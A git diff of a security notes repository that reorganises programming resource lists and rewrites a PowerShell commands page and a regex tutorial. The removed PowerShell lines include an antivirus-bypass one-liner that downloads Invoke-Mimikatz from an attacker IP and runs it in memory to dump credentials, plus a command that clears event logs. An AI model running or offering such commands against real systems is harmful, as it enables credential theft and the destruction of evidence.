PowerShell. +* [DevOps: The Ops Perspective](https://leanpub.com/devopstheopsperspective) - Operations and automation context. +* [Ditch Excel: Making Historical & Trend Reports in PowerShell](https://leanpub.com/ditchexcelmakinghistoricalandtrendreportsinpowershell) - Reporting workflows. +* [Learn PowerShell in Y Minutes](https://learnxinyminutes.com/docs/powershell/) - Fast syntax overview. +* [PowerShell 101](https://leanpub.com/powershell101) - Beginner PowerShell guide. +* [PowerShell Notes for Professionals](https://goalkicker.com/PowerShellBook/) - PDF compiled from Stack Overflow documentation. +* [PowerShell Succinctly](https://www.syncfusion.com/resources/techportal/ebooks/powershell) - Introductory PowerShell ebook. +* [PowerShell Tips to Write By](https://leanpub.com/powershelltips) - Practical PowerShell writing tips. +* [Secrets of PowerShell Remoting](https://leanpub.com/secretsofpowershellremoting) - PowerShell remoting guide. +* [The Big Book of PowerShell Error Handling](https://leanpub.com/thebigbookofpowershellerrorhandling) - Error handling guide. +* [The Big Book of PowerShell Gotchas](https://leanpub.com/thebigbookofpowershellgotchas) - Common pitfalls. +* [The Monad Manifesto - Annotated](https://leanpub.com/themonadmanifestoannotated) - Historical design context. +* [SOC Analyst Scrolls: PowerShell](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/powershell) - Security analyst PowerShell reference. +* [SOC Analyst Scrolls: One-Liners](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/one-liners) - Useful PowerShell one-liners. +* [xapax PowerShell](https://xapax.github.io/security/#basics_of_windows/powershell/) - Security-oriented PowerShell notes. +* [xapax PowerShell Scripting](https://xapax.github.io/security/#basics_of_windows/powershell_scripting2/) - PowerShell scripting notes. +* [xapax Windows CMD](https://xapax.github.io/security/#basics_of_windows/cmd/) - Windows command prompt basics. +* [SANS PowerShell Cheatsheet](https://wiki.sans.blue/Tools/pdfs/PowerShell.pdf) - PowerShell reference. +* [SANS Get-WinEvent Cheatsheet](https://wiki.sans.blue/Tools/pdfs/Get-WinEvent.pdf) - Windows event log query reference. ## Python -* [BeginnersGuide/NonProgrammers - Python Wiki](https://wiki.python.org/moin/BeginnersGuide/NonProgrammers) -* [https://www.learnpython.org/](https://www.learnpython.org/) -* [Introduction · HonKit](https://python.swaroopch.com/) +* [Python Wiki: Beginner's Guide for Non-Programmers](https://wiki.python.org/moin/BeginnersGuide/NonProgrammers) +* [LearnPython.org](https://www.learnpython.org/) +* [A Byte of Python](https://python.swaroopch.com/) * [Automate the Boring Stuff with Python](https://automatetheboringstuff.com/) -* [comp3321 NSA Python Training Document : NSA : Free Download, Borrow, and Streaming : Internet Archive](https://archive.org/details/comp3321/page/n1/mode/2up/search/device?utm_source=share\&utm_medium=ios_app\&utm_name=iossmf) +* [NSA Python Training Document](https://archive.org/details/comp3321/page/n1/mode/2up/search/device?utm_source=share&utm_medium=ios_app&utm_name=iossmf) * [Cracking Codes with Python](https://inventwithpython.com/cracking/) -* [vinta/awesome-python: A curated list of awesome Python frameworks, libraries, software and resources](https://github.com/vinta/awesome-python) -* [py.CheckiO - Python coding challenges and exercises with solutions for beginners and advanced](https://py.checkio.org/) +* [Awesome Python](https://github.com/vinta/awesome-python) +* [Python-Pentest-Tools](https://github.com/dloss/python-pentest-tools) +* [py.CheckiO](https://py.checkio.org/) - Python coding challenges. * [Invent with Python](https://inventwithpython.com/) ## Go -* [An Introduction to Programming in Go](http://www.golang-book.com) +* [An Introduction to Programming in Go](https://www.golang-book.com/) * [Build Web Application with Golang](https://astaxie.gitbooks.io/build-web-application-with-golang/content/en/) * [Building Web Apps with Go](https://codegangsta.gitbooks.io/building-web-apps-with-go/content/) -* [Darker Corners of Go](https://rytisbiel.com/2021/03/06/darker-corners-of-go/) - Rytis Bieliunas +* [Darker Corners of Go](https://rytisbiel.com/2021/03/06/darker-corners-of-go/) * [Effective Go](https://go.dev/doc/effective_go) -* [Go 101](https://go101.org/article/101.html) - [@TapirLiu](https://twitter.com/TapirLiu) -* [Go Bootcamp](http://www.golangbootcamp.com/book) - Matt Aimonetti -* [Go by Example](https://gobyexample.com) -* [Go for Javascript Developers](https://github.com/bulim/go-for-javascript-developers) -* [How To Code in Go](https://www.digitalocean.com/community/books/how-to-code-in-go-ebook) - Mark Bates, Cory Lanou, and Timothy J. Raymond (PDF, EPUB) +* [Go 101](https://go101.org/article/101.html) +* [Go by Example](https://gobyexample.com/) +* [Go for JavaScript Developers](https://github.com/bulim/go-for-javascript-developers) +* [How To Code in Go](https://www.digitalocean.com/community/books/how-to-code-in-go-ebook) * [Learn Go with Tests](https://quii.gitbook.io/learn-go-with-tests/) * [Learning Go](https://miek.nl/go/) -* [Let's learn Go!](http://go-book.readthedocs.io/en/latest/) -* [Practical Cryptography With Go](https://leanpub.com/gocrypto/read) - Kyle Isom -* [The Go Tutorial](https://go.dev/tour/) -* [The Little Go Book](https://github.com/karlseguin/the-little-go-book) - Karl Seguin ([PDF](https://www.openmymind.net/assets/go/go.pdf), [ePUB](https://www.openmymind.net/assets/go/go.epub)) -* [Web apps in Go, the anti textbook](https://github.com/thewhitetulip/web-dev-golang-anti-textbook/) +* [Practical Cryptography With Go](https://leanpub.com/gocrypto/read) +* [The Go Tour](https://go.dev/tour/) +* [The Little Go Book](https://github.com/karlseguin/the-little-go-book) +* [Web Apps in Go](https://github.com/thewhitetulip/web-dev-golang-anti-textbook/) + +## Assembly and Reverse Engineering + +* [Programming from the Ground Up](https://download-mirror.savannah.gnu.org/releases/pgubook/ProgrammingGroundUp-1-0-booksize.pdf) +* [Reverse Engineering for Beginners](https://www.begin.re/) +* [Understanding Assembly Language](https://beginners.re/main.html) +* [Reversing: Secrets of Reverse Engineering](https://www.amazon.com/Reversing-Secrets-Engineering-Eldad-Eilam/dp/0764574817) -## Assembly +Reverse engineering tooling and malware-analysis workflows live in DFIR. -* [ProgrammingGroundUp.pdf](https://download-mirror.savannah.gnu.org/releases/pgubook/ProgrammingGroundUp-1-0-booksize.pdf) -* [https://www.begin.re/](https://www.begin.re/) - Reverse Engineering for Beginners -* [https://beginners.re/main.html](https://beginners.re/main.html) - Understanding Assembly Language -* [Reversing-Secrets-Engineering](https://www.amazon.com/Reversing-Secrets-Engineering-Eldad-Eilam/dp/0764574817) +{% content-ref url="../dfir-digital-forensics-and-incident-response/binary-analysis-reverse-engineering.md" %} +[binary-analysis-reverse-engineering.md](../dfir-digital-forensics-and-incident-response/binary-analysis-reverse-engineering.md) +{% endcontent-ref %} -## C/C++ +## C and C++ -* [C++ Language - C++ Tutorials](https://www.cplusplus.com/doc/tutorial/) -* [Learn C](https://www.learn-c.org/) - Free Interactive C Tutorial +* [C++ Tutorials](https://cplusplus.com/doc/tutorial/) +* [Learn C](https://www.learn-c.org/) * [SEI CERT C Coding Standard](https://wiki.sei.cmu.edu/confluence/display/c/SEI+CERT+C+Coding+Standard) ## Java -* [Learn Java - Free Interactive Java Tutorial](https://www.learnjavaonline.org/) -* [Java Programming - MOOC.fi](https://java-programming.mooc.fi/) - University of Helsinki's free Java course +* [Learn Java](https://www.learnjavaonline.org/) +* [Java Programming MOOC](https://java-programming.mooc.fi/) - University of Helsinki's free Java course. ## Rust * [The Rust Programming Language](https://doc.rust-lang.org/book/) * [Rust by Example](https://doc.rust-lang.org/rust-by-example/) -* [Black Hat Rust](https://github.com/skerkour/black-hat-rust) - Applied information security with Rust +* [Black Hat Rust](https://github.com/skerkour/black-hat-rust) - Applied information security with Rust. ## Ruby @@ -128,8 +127,10 @@ There are countless options available for learning to code. This list focuses on ## Legacy / Archived Resources -The following resources may successfully still teach concepts but reference older versions of languages (e.g., PowerShell v2). +The following resources can still teach useful concepts, but they reference older language versions or older platform assumptions. -* [Layman’s Guide to PowerShell 2.0 remoting](https://ravichaganti.com/ebooks/AlaymansguidetoPowerShell2remotingv2.pdf) (PDF) +* [Learn PowerShell Core 6.0](https://www.packtpub.com/free-ebooks/learn-powershell-core-60) - PowerShell 6-era resource; use current Microsoft Learn docs for installation and version-specific guidance. +* [Layman's Guide to PowerShell 2.0 Remoting](https://ravichaganti.com/ebooks/AlaymansguidetoPowerShell2remotingv2.pdf) * [Mastering PowerShell v2](http://community.idera.com/powershell/powertips/b/ebookv2#pi619PostSortOrder=Ascending) -* [PowerShell 2.0 – One CMDLET At A Time](http://www.jonathanmedd.net/wp-content/uploads/2010/09/PowerShell\_2\_One\_Cmdlet\_at\_a\_Time.pdf) (PDF) +* [PowerShell 2.0 - One CMDLET At A Time](http://www.jonathanmedd.net/wp-content/uploads/2010/09/PowerShell_2_One_Cmdlet_at_a_Time.pdf) +* [Pythonidae](https://github.com/svaksha/pythonidae) - Archived Python resource collection. diff --git a/code-tools/powershell/README.md b/code-tools/powershell/README.md index ef9aa68..2cf8709 100644 --- a/code-tools/powershell/README.md +++ b/code-tools/powershell/README.md @@ -1,35 +1,31 @@ -# Powershell +# PowerShell + +Use this page for PowerShell quick references and security analyst command examples. Long-form PowerShell learning resources live in Learn to Code. + +{% content-ref url="../learn-to-code.md" %} +[learn-to-code.md](../learn-to-code.md) +{% endcontent-ref %} + +## Cheatsheets {% embed url="https://assets.contentstack.io/v3/assets/blt36c2e63521272fdc/bltf146e4f361db3938/5e34a7bc946d717e2eab6139/power-shell-cheat-sheet-v41.pdf" %} {% embed url="https://wiki.sans.blue/Tools/pdfs/PowerShell.pdf" %} +* [SANS Get-WinEvent Cheatsheet](https://wiki.sans.blue/Tools/pdfs/Get-WinEvent.pdf) +* [SOC Analyst Scrolls: PowerShell](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/powershell) +* [SOC Analyst Scrolls: One-Liners](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/one-liners) + +## Pages in This Section + +{% content-ref url="common-commands.md" %} +[common-commands.md](common-commands.md) +{% endcontent-ref %} +## Legacy / Archived Resources -## Resources +These resources may still explain useful concepts, but they reference older PowerShell versions. -* [A Unix Person's Guide to PowerShell](https://leanpub.com/aunixpersonsguidetopowershell) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [Creating HTML Reports in PowerShell](https://leanpub.com/creatinghtmlreportsinwindowspowershell) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [DevOps: The Ops Perspective](https://leanpub.com/devopstheopsperspective) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [Ditch Excel: Making Historical & Trend Reports in PowerShell](https://leanpub.com/ditchexcelmakinghistoricalandtrendreportsinpowershell) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [Layman’s Guide to PowerShell 2.0 remoting](https://ravichaganti.com/ebooks/AlaymansguidetoPowerShell2remotingv2.pdf) (PDF) -* [Learn PowerShell Core 6.0](https://www.packtpub.com/free-ebooks/learn-powershell-core-60) - David das Neves, Jan-Hendrik Peters (Packt account _required_) -* [Learn PowerShell in Y Minutes](https://learnxinyminutes.com/docs/powershell/) +* [Layman's Guide to PowerShell 2.0 Remoting](https://ravichaganti.com/ebooks/AlaymansguidetoPowerShell2remotingv2.pdf) * [Mastering PowerShell v2](http://community.idera.com/powershell/powertips/b/ebookv2#pi619PostSortOrder=Ascending) -* [PowerShell 101: The No-Nonsense Beginner’s Guide to PowerShell](https://leanpub.com/powershell101) - Mike F. Robbins _(Leanpub account or valid email requested)_ -* [PowerShell 2.0 – One CMDLET At A Time](http://www.jonathanmedd.net/wp-content/uploads/2010/09/PowerShell\_2\_One\_Cmdlet\_at\_a\_Time.pdf) (PDF) -* [PowerShell Notes for Professionals](http://goalkicker.com/PowerShellBook/) - Compiled from StackOverflow documentation (PDF) -* [PowerShell Succinctly, Syncfusion](https://www.syncfusion.com/resources/techportal/ebooks/powershell) (PDF, Kindle) (email address _requested_, not required) -* [PowerShell Tips to Write By](https://leanpub.com/powershelltips) - Adam Bertram _(Leanpub account or valid email requested)_ (🚧 _in process_) -* [Secrets of PowerShell Remoting](https://leanpub.com/secretsofpowershellremoting) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [The Big Book of PowerShell Error Handling](https://leanpub.com/thebigbookofpowershellerrorhandling) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [The Big Book of PowerShell Gotchas](https://leanpub.com/thebigbookofpowershellgotchas) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [The Monad Manifesto - Annotated](https://leanpub.com/themonadmanifestoannotated) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [The PowerShell + DevOps Global Summit Manual for Summiteers](https://leanpub.com/windowspowershellnetworkingguide) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ -* [https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/powershell](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/powershell) -* [https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/one-liners](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/one-liners) -* [https://xapax.github.io/security/#basics\_of\_windows/powershell/](https://xapax.github.io/security/#basics\_of\_windows/powershell/) -* [https://xapax.github.io/security/#basics\_of\_windows/powershell\_scripting2/](https://xapax.github.io/security/#basics\_of\_windows/powershell\_scripting2/) -* [https://xapax.github.io/security/#basics\_of\_windows/cmd/](https://xapax.github.io/security/#basics\_of\_windows/cmd/) -* [https://wiki.sans.blue/Tools/pdfs/PowerShell.pdf](https://wiki.sans.blue/Tools/pdfs/PowerShell.pdf) -* [https://wiki.sans.blue/Tools/pdfs/Get-WinEvent.pdf](https://wiki.sans.blue/Tools/pdfs/Get-WinEvent.pdf) +* [PowerShell 2.0 - One CMDLET At A Time](http://www.jonathanmedd.net/wp-content/uploads/2010/09/PowerShell_2_One_Cmdlet_at_a_Time.pdf) diff --git a/code-tools/powershell/common-commands.md b/code-tools/powershell/common-commands.md index 8de2aa2..4ee4a09 100644 --- a/code-tools/powershell/common-commands.md +++ b/code-tools/powershell/common-commands.md @@ -1,85 +1,93 @@ # Common Commands -## Execution policy - UAC +## Execution Policy -``` -> Get-ExecutionPolicy -> Set_ExecutionPolicy Unrestricted +Execution policy is not a security boundary, but it can prevent accidental script execution and should not be set to `Unrestricted` as a default. + +```powershell +Get-ExecutionPolicy +Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser ``` ## Variables -Variables in PowerShell are prefixed with a dollar ($) symbol and assigned by stating the variable name that is followed by an equals sign (=) and the desired value. +Variables in PowerShell are prefixed with `$` and assigned with `=`. -``` -PS > $foo = ‘bar’ #Variables can be updated by setting them again. -To display a variable just call the variable by name: -PS > $foo +```powershell +$foo = "bar" +$foo ``` ## File Manipulation -* Using the 'Get-Content' cmdlet, it is possible to read in the contents of a file, the result of which can be stored in a variable for later use or displayed on screen. -* When reading in a file with Get-Content, it is possible to specify how much of the file is read. This is similar to the head and tail commands in Linux. -* With the -TotalCount parameter you can specify how many lines you would like PowerShell to read (from the top, e.g. Get-Content \ -TotalCount 5). -* The -Tail parameter will do the same but from the bottom of the file. -* In addition to reading files it is possible to write data to them, either by using Set-Content to create and overwrite files or Add-Content which can append content to an existing file. -* Syntax: Set-Content -Value "This is a test" -Path ./test.txt. -* Remember you can use Get-Content to read the file at any time. +`Get-Content`, `Set-Content`, and `Add-Content` are useful for reading, writing, and appending files. -``` -> Get-Content -Path .\MOCK_DATA.csv +```powershell +Get-Content -Path .\MOCK_DATA.csv -TotalCount 5 +Get-Content -Path .\MOCK_DATA.csv -Tail 5 +Set-Content -Path .\test.txt -Value "This is a test" +Add-Content -Path .\test.txt -Value "Another line" +Select-String -Path .\MOCK_DATA.csv -Pattern "needle" ``` -* [https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-content?view=powershell-6](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-content?view=powershell-6) -* [https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-content?view=powershell-6](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-content?view=powershell-6) -* [https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/add-content?view=powershell-6](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/add-content?view=powershell-6) -* [https://docs.microsoft.com/en-gb/powershell/module/Microsoft.PowerShell.Utility/Select-String?view=powershell-6](https://docs.microsoft.com/en-gb/powershell/module/Microsoft.PowerShell.Utility/Select-String?view=powershell-6) +References: -## File Transfer +* [Get-Content](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-content) +* [Set-Content](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-content) +* [Add-Content](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/add-content) +* [Select-String](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/select-string) +## File Download + +Use `Invoke-WebRequest` for normal administrative file downloads. Offensive file transfer patterns live in the Red Offensive post-exploitation pages. + +```powershell +Invoke-WebRequest -Uri "https://example.com/file.txt" -OutFile ".\file.txt" ``` -> powershell -c “new-object System.Net.WebClient).DownloadFile([URL],'[destination file path and file name]')” --c executes the subsequent command -new-object - instantiate a .NET or COM object -WebClient - chosen class of object -DownloadFile - method of action + +{% content-ref url="../../red-offensive/post-exploitation/file-transfer.md" %} +[file-transfer.md](../../red-offensive/post-exploitation/file-transfer.md) +{% endcontent-ref %} + +## Module Manipulation + +```powershell +Import-Module Microsoft.PowerShell.Management +Get-Module +Remove-Module Microsoft.PowerShell.Management ``` -I Module Manipulation\ -◇ [https://docs.microsoft.com/en-gb/powershell/module/Microsoft.PowerShell.Core/Import-Module?view=powershell-6](https://docs.microsoft.com/en-gb/powershell/module/Microsoft.PowerShell.Core/Import-Module?view=powershell-6)\ -◇ [https://docs.microsoft.com/en-gb/powershell/module/microsoft.powershell.core/get-module?view=powershell-6](https://docs.microsoft.com/en-gb/powershell/module/microsoft.powershell.core/get-module?view=powershell-6)\ -◇ [https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/remove-module?view=powershell-6](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/remove-module?view=powershell-6) +References: -## Download files and inject them directly into memory +* [Import-Module](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/import-module) +* [Get-Module](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/get-module) +* [Remove-Module](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/remove-module) -Antivirus will scan the disk of your target regularly and block any files that you download on to it, if they are flagged as a virus. You can Bypass this by invoking a powershell command call to pull a remote file directly into memory +## Event Logs -``` -> IEX (New-Object Net.WebClient).DownloadString('http://[attacker IP]/[target powershell script]');[New Powershell Command] -Example: -> IEX(New-Object Net.WebClient).DownloadString('http://10.102.10.91:1234/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds]E -``` +Prefer `Get-WinEvent` for modern Windows event log queries. `Get-EventLog` still exists for classic logs, but it is older and less flexible. -* IEX - pull directly into memory -* Net.WebClient - Needed to run the DownloadString function +```powershell +# List available logs. +Get-WinEvent -ListLog * -## EventLog +# Query recent System log events. +Get-WinEvent -LogName System -MaxEvents 50 -PowerShell comes with a cmdlet that allows you to query event logs from the command line. By default, it will query the local machine; however, it can also be used to query logs from remote connections. It has several options that can be used to filter the query and, similar to most PowerShell, the output can be piped to other filters like search and output. +# Filter System log events from the last hour. +$StartTime = (Get-Date).AddHours(-1) +Get-WinEvent -FilterHashtable @{LogName = "System"; StartTime = $StartTime} +# Group recent events by provider. +Get-WinEvent -LogName System -MaxEvents 1000 | + Group-Object -Property ProviderName -NoElement | + Sort-Object -Property Count -Descending + +# Export events for later review. +Get-WinEvent -LogName Application -MaxEvents 100 | + Export-Csv -Path .\application-events.csv -NoTypeInformation ``` -List of logs and their entries -> Get-eventlog -list -See all the logs of a specific type you can pass the name of the log to the cmdlet. So to see all system logs we can use: -> Get-eventlog system -Filter logs by time -> Get-eventlog system -after (get-date).addhours(-1) -Advanced filtering by grouping and sorting -> Get-Eventlog -LogName system -Newest 1000 | group-object -Property source -noelement | sort-object -Property count -descending -Export logs to file -> Get-Eventlog application | export-csv - path application.csv -Clear Event Logs -> Clear-Eventlog "Windows PowerShell" -clear -``` +Reference: + +* [SANS Get-WinEvent Cheatsheet](https://wiki.sans.blue/Tools/pdfs/Get-WinEvent.pdf) diff --git a/code-tools/regex.md b/code-tools/regex.md index 842dd9c..a67bb96 100644 --- a/code-tools/regex.md +++ b/code-tools/regex.md @@ -1,194 +1,212 @@ # Regex +Regular expressions search for text patterns. They are useful for log analysis, scripting, validation, parsing, and detection engineering, but each tool or language may use a slightly different regex engine. + ## Regex Tools and Reference -Regular expressions allow us to search for patterns in datasets and are processed by regular expression engines – pieces of software which match strings to a given pattern.For example, a search pattern with a sequence **`a1\d`** would find any sequence of characters, or string, in which the letter `a` is followed by a `1` and then any digit. Here, the **`\d`** is a metacharacter that tells the regex engine to search for any digit. - -* Regex Testers - * [RegExr](https://regexr.com/) - Learn, Build, & Test RegEx - * [RegEx Testing](https://www.regextester.com/) - online regex testing tool. - * [RegEx Pal](https://www.regexpal.com/) - online regex testing tool + other tools. - * [CyberChef](https://gchq.github.io/CyberChef/) - The "Cyber Swiss Army Knife" includes a powerful Regex operation. -* Regex Training Material - * [RegexOne](https://regexone.com/) - Learn Regular Expressions - Lesson 1: An Introduction, and the ABCs - * [Regex101](https://regex101.com/) - Online regex tester and debugger: PHP, PCRE, Python, Golang and JavaScript - * [RexEgg](http://www.rexegg.com) - * [https://regexcrossword.com/](https://regexcrossword.com/) - Fun regex training with a crossword. - * [The 30 Minute Regex Tutorial](http://www.codeproject.com/Articles/9099/The-Minute-Regex-Tutorial) - Jim Hollenhorst - * [https://tryhackme.com/room/catregex](https://tryhackme.com/room/catregex) -* Books, Articles, and Cheatsheets - * [Regular Expression Cheat Sheet](https://github.com/niklongstone/regular-expression-cheat-sheet) - * [i Hate Regex - The Regex Cheat Sheet](https://ihateregex.io/) - * [JavaScript RegExp](https://learnbyexample.github.io/learn\_js\_regexp/) - Sundeep Agarwal - * [Python re(gex)?](https://learnbyexample.github.io/py\_regular\_expressions/) - Sundeep Agarwal - * [Regular Expressions for Regular Folk](https://refrf.shreyasminocha.me) - Shreyas Minocha - * [Ruby Regexp](https://learnbyexample.github.io/Ruby\_Regexp/) - Sundeep Agarwal - * [The Bastards Book of Regular Expressions: Finding Patterns in Everyday Text](https://leanpub.com/bastards-regexes) - Dan Nguyen _(Leanpub account or valid email r_equested) +### Testers -## Basics +* [Regex101](https://regex101.com/) - Regex tester and debugger for PCRE, PHP, Python, Go, JavaScript, and more. +* [RegExr](https://regexr.com/) - Interactive regex builder and tester. +* [RegEx Testing](https://www.regextester.com/) - Online regex testing tool. +* [RegEx Pal](https://www.regexpal.com/) - Online regex testing tool. +* [CyberChef](https://gchq.github.io/CyberChef/) - Includes regex operations alongside encoding, decoding, and data transformation tools. -### Metacharacters +### Training -◇ **`\s`** – this represents any whitespace character, such as a tab, space, or carriage return.\ -◇ **`\w`** – this tells the regex engine to search for any alphanumeric character.\ -◇ **`\r`** – this represents a carriage return. +* [RegexOne](https://regexone.com/) - Introductory regular expression lessons. +* [RexEgg](https://www.rexegg.com/) - Detailed regex reference and tutorial site. +* [Regex Crossword](https://regexcrossword.com/) - Regex practice through puzzles. +* [The 30 Minute Regex Tutorial](https://www.codeproject.com/Articles/9099/The-30-Minute-Regex-Tutorial) - Jim Hollenhorst. +* [TryHackMe: Cat Regex](https://tryhackme.com/room/catregex) -### Grep and Regex +### Cheatsheets and Books -◇ `grep -P "`**`regex`**`" input_file` +* [Regular Expression Cheat Sheet](https://github.com/niklongstone/regular-expression-cheat-sheet) +* [i Hate Regex](https://ihateregex.io/) +* [JavaScript RegExp](https://learnbyexample.github.io/learn_js_regexp/) - Sundeep Agarwal. +* [Python re(gex)?](https://learnbyexample.github.io/py_regular_expressions/) - Sundeep Agarwal. +* [Regular Expressions for Regular Folk](https://refrf.shreyasminocha.me/) +* [Ruby Regexp](https://learnbyexample.github.io/Ruby_Regexp/) - Sundeep Agarwal. +* [The Bastards Book of Regular Expressions](https://leanpub.com/bastards-regexes) - Dan Nguyen. -### Special character sequences +## Basics -These normally consist of a backslash, **`\`**, followed by a letter and represent either non-printable characters or entire categories of ASCII characters.\ -Here are some examples:\ -• **`\d`** – this represents any digit\ -• **`\w`** – this represents any alphanumeric character\ -• **`\s`** – this represents any whitespace character\ -• **`\t`** – this represents a tab\ -The first three examples can capture the reverse group through capitalisation, such that **`\D`**, **`\W`**, and **`\S`** represent any non-digit, non-alphanumeric, or non-whitespace character respectively. +### Common Character Classes -### Groupings +| Pattern | Meaning | +| --- | --- | +| `\d` | Any digit | +| `\D` | Any non-digit | +| `\w` | Any word character, usually letters, digits, and underscore | +| `\W` | Any non-word character | +| `\s` | Any whitespace character | +| `\S` | Any non-whitespace character | +| `\t` | Tab | +| `\r` | Carriage return | +| `\n` | Newline | -Groupings are made using the square brackets, **`[`** and **`]`**. They are used to represent specified sets of characters and can therefore be more precise than special character sequences. Within a grouping, individual characters or a range of characters can be specified. Ranges are specified using a hyphen, **`-`**. +### Character Groups -The regex pattern **`[ce]`** would match any instances of the letters `c` or `e`, whereas the pattern **`[c-e]`** would match instances of `c`, `d`, or `e`. +Square brackets define a set or range of characters. -Multiple individual characters or ranges of characters can be specified within the same grouping, and their order does not matter. For example, the pattern **`[dt-v9]`** would match instances of `d`, `t`, `u`, `v`, or `9`. +* `[ce]` matches `c` or `e`. +* `[c-e]` matches `c`, `d`, or `e`. +* `[^abc]` matches any character except `a`, `b`, or `c`. ### Escapes -You can see above that the backslash or square brackets are not used as their literal characters in regex; nor are any of the other metacharacters. But what if you want to search for square brackets, or periods in a string? Well, this is where escape characters are required. +Regex metacharacters such as `.`, `*`, `+`, `?`, `(`, `)`, `[`, `]`, `{`, `}`, `|`, `^`, `$`, and `\` need escaping when you want to match them literally. -Usually, a metacharacter can be escaped using a backslash, **`\`**. In some cases, when escaping certain metacharacters, it is necessary to change the syntax of the command within which the regex is used. This is because the backslash escape character is not exclusive to regex and can affect, for example, the quotes that encapsulate command arguments. An example of this can be seen in the video below, with the grep command. +```text +\.example\.com +``` -### Tips +### Repetition -Pipe the output of your search to the word count command, `wc -l`, to quickly count the number of results returned.\ -Print a line until a specific character (-)\ -`$ sed 's/-[^-]*$//' file` +| Pattern | Meaning | +| --- | --- | +| `*` | Zero or more of the previous token | +| `+` | One or more of the previous token | +| `?` | Zero or one of the previous token | +| `{m}` | Exactly `m` repetitions | +| `{m,n}` | Between `m` and `n` repetitions | -## Using regex in Linux +By default, quantifiers are greedy. Adding `?` makes many quantifiers lazy. -While grep can use regex to search files for patterns, it is not the only command capable of utilising this powerful searching tool. +* `.*` - Greedy match. +* `.*?` - Lazy match. -The awk command can utilise regex to search files for a specified pattern and then perform a specified action on the search results. The basic usage of regex in awk is as follows:\ -`awk ‘/regex-pattern/{print $0}’ input-file > output-file` +### Anchors -You can use the sed command with regex to perform more comprehensive searching. It is capable of searching for files and manipulating them within a single command. The basic syntax to use regex with the sed command is as follows: `sed -rn ‘/regex-pattern/p’` -Modern Alternatives +| Pattern | Meaning | +| --- | --- | +| `^` | Start of line or string | +| `$` | End of line or string | +| `\b` | Word boundary | -* [Ripgrep (rg)](https://github.com/BurntSushi/ripgrep): A distinctively fast line-oriented search tool that recursively searches the current directory for a regex pattern. It is generally faster than grep. +Example: -### -### Repetitions +```text +^abc\b.*123$ +``` -Repetitions, denoted by **`*`**, **`+`**, or **`{}`**, can be used when the number of characters of a certain type in a desired search string is unknown. The appropriate repetition metacharacter is placed immediately after the character or grouping which is repeated.\ -◇ **`*`** – Zero or more repetitions of the previous character or grouping.\ -◇ **`+`** – One or more repetitions.\ -◇ **`{m}`** – ‘m’ repetitions.\ -◇ **`{m,n}`** – Between ‘m’ and ‘n’ (inclusive) repetitions.\ -Repetitions can provide a level of optionality to your search pattern. For example, in the search pattern **`.*abc`**, the user does not care which characters, if any, appear before the string `abc`. -Greedy vs Lazy Quantification +This matches a line that starts with `abc` as a whole word and ends with `123`. -By default, quantifiers like `*` and `+` are "greedy", meaning they will match as many characters as possible. Adding a `?` after makes them "lazy" or "reluctant", matching as few as possible. -* `.*` : Greedy match. -* `.*?` : Lazy match. +### Captures -### -### Logical operators +Parentheses capture part of a matched pattern. Captures are useful for extraction and replacement. -Logical operators enable the AND, OR, and NOT logic functions within a search pattern. +```bash +sed -rn 's/.*(capture).*/\1/p' file_name.txt +``` -* NOT - * The caret **`^`** can denote a NOT logic function within a set or POSIX character class. Not to be confused with the use of the caret as an anchor, it is used as follows: - * **`[^abc]`** or **`[^[:alnum:]]`** - * These would match any character except `a`, `b`, or `c`, or any character which is non-alphanumeric respectively. -* OR - * The pipe **`|`** denotes an OR logic function and is used within parentheses. Parentheses containing an OR pipe still define a capture group. - * **`(abc|def)`** matches and captures `abc` or `def`. - * The **`?`** question mark denotes optionality of the previous token.\ - **`files?`** matches `file` or `files`. -* AND - * While the AND logic function is inherent in regex for sequential characters in a search pattern, there are cases where you may want to match a string which contains both one pattern and another. - * This can be easily done by chaining multiple commands in sed, awk, or grep. However, many regex engines, including the Perl regex engine used by grep, introduce the **`(?=)`** positive lookahead so that you can perform the same task in a single command. - * The positive lookahead matches the regex pattern before the opening parentheses if the pattern before is followed by the characters within the parentheses. For example, **`He(?=llo)`** would match the `He` in `Hello` but not in `Hey`. - * By placing the lookahead at the start of your search pattern and using the **`.*`** wildcard within the lookahead, you tell the regex engine to match any line which contains zero or 